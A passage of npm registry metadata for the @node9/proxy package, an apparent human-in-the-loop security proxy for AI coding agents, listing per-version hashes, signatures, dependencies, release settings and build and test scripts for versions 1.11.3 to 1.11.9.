","fileCount":20,"integrity":"sha512-RLfBIRHw8dN3J4KSuRHO33WqbOrbGmYmCsEyvReurRmA1mwxsHImD4jseBxRF6anUJBPQTlUXJi3jHTRHd4GTg==","signatures":[{"sig":"MEYCIQCqcZ1NLFnN9Cw676zkoknz90Sp/UktPha7lqn53ym73gIhALHT+0NuW22CKs8gb60eAksa3WPYUE2HJ7q1v9ROXHRn","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.11.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1490466},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b65e14061a6061edd5f269507ab35bc32271c23f","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.11.3_1776585124032_0.1020104419563701","host":"s3://npm-registry-packages-npm-production"}},"1.11.4":{"name":"@node9/proxy","version":"1.11.4","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.11.4","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"b11120d3259be2aeb25fdf233479a1da69cc36f1","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.11.4.tgz","fileCount":20,"integrity":"sha512-hg0CaxaQiHyPGpX4xefBP68cE8Eh4T7Kw7XXxpc43jddssrAPibmgsFHs1ZMAg3KJGzbvOsLeUxPJ6sbvzkOMA==","signatures":[{"sig":"MEUCIC7WL4qMase55AtMFExj5zIG43IvJUXw+FEy9PC/EhYuAiEAz4VUDKb33T2fn6byJ7rs8nDc1Mc0UbDmnXthX6Zu0fc=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.11.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1637295},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"f9438db3cddd8b43e75eb8d6da63ba58fe76041a","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.11.4_1776864937467_0.887816602327153","host":"s3://npm-registry-packages-npm-production"}},"1.11.5":{"name":"@node9/proxy","version":"1.11.5","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.11.5","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"d1291060e5f653f6eaf4e6d5d9d9346dac0807af","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.11.5.tgz","fileCount":20,"integrity":"sha512-8v3OKkWS+jSt2DI14z2VCMfeKY3vtHBYgmtYOvssievs3NZzHkUVK91BuIUmiOBN/FaT6VIHrKn9ld0/lEcXhQ==","signatures":[{"sig":"MEQCID3BtBHKi15g2UZTkZ1aQxBmX202xG0JCjWnv+dzg/nVAiASjy5yc7lCZ5w8c3alDOviIbWv5ONGUsS4lofTFNgyTQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.11.5","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1637295},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"3adc95c6527fe9a97af26bc85ac3cd6b2743931a","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.11.5_1776866054485_0.5284604646208","host":"s3://npm-registry-packages-npm-production"}},"1.11.6":{"name":"@node9/proxy","version":"1.11.6","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.11.6","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"6ac2a2ab5293a9ee0f50286c0952d7f34851c5da","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.11.6.tgz","fileCount":20,"integrity":"sha512-DrNH6STOLtwkyBBd7TduS0S3PBi4VKK1pE+TKy7HXJZJZZQLUi6miOsdHjg3rRT5mh6FQacx9sktNquN3BF9oQ==","signatures":[{"sig":"MEUCIQCTvjFy3ykbxPjWjPG3ZVaWsF8NHMu9tclTn4ajXyktMwIgG9bdh7Jq8TgOFE1ckTZoAicsekNy2YPb6t4eBI0MioU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.11.6","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1637295},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"de7cb10b5ae6558f56c26faf14d422b10f67f5c1","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.11.6_1776866588436_0.773152889444678","host":"s3://npm-registry-packages-npm-production"}},"1.11.7":{"name":"@node9/proxy","version":"1.11.7","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.11.7","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"83e7cecbb4d293f588d2d68c0c724f17fa67d549","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.11.7.tgz","fileCount":20,"integrity":"sha512-sQBn2EfdKNtBKlFoulj1vlNaTl0AfRd3FNDB2BQQwW9F0v/AcNmXqwRC2uaLvJctjPz8s+sgmGrjHS2Wb+pExQ==","signatures":[{"sig":"MEUCIQDQRpdl7BXlN8e7F6BwHA0x2Q885w3EwZo5YCvpvuwWyQIgJuwb4FYQmqW/Mq3vSMCf73TQbYelm7GyrDFj+DnJENQ=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.11.7","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1639675},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"713fb9ddec76edb6babd1835231507e86e9f6ce8","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.11.7_1776867183722_0.6276064360447253","host":"s3://npm-registry-packages-npm-production"}},"1.11.8":{"name":"@node9/proxy","version":"1.11.8","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.11.8","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"7d8a059b27ad1616854860a6e1072c37154cb14d","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.11.8.tgz","fileCount":20,"integrity":"sha512-N4k9dnEiZ2CG794OxP2ExtF8P1mXuI+Py5nypP2jcivbdxD6wohvPL9ZlaotCOeVQuC52ss8WOIM/Z7hwe/+NQ==","signatures":[{"sig":"MEYCIQD8FRePUI7JXYgegOJr5qMJ5/0KLVY4/PQnprwZ71s92AIhALj/tJ0B4ui+JK34+JWfTmvPAJ45I+YoLB6s/9dAfqIr","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.11.8","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1639675},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"5726dc8529f42198e6dbc6b86a8a2a8c2dfa4207","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.11.8_1776868076833_0.8651705984321814","host":"s3://npm-registry-packages-npm-production"}},"1.11.9":{"name":"@node9/proxy","version":"1.11.9","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.11.9","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"e0da620e8a2387aea54d1f23b145639f9b3b93d0","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.11.9.tgz","fileCount":20,"integrity":"sha512-hprPJDcr4a2Piubc+2uDk6yjQDBPin4BnKRzaGYmDrFYfYnAotFnJ6DiqROkB+FWVfXri5hXK2C2IY9iHIZqYg==","signatures":[{"sig":"MEQCIH37VtUybBtx8iHb9vpMHydgNTNZeIQ5G3yzpeZqm81lAiAEclriUDtMF8jIPEjVeFi6MP8kBj87HE98J2p3LGpyFg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.11.9","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":1639675},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"e33d3d648e36e5aaffba7e96e89f9914ca524c7f","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"tsup && node scripts/copy-shield-assets.js","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from 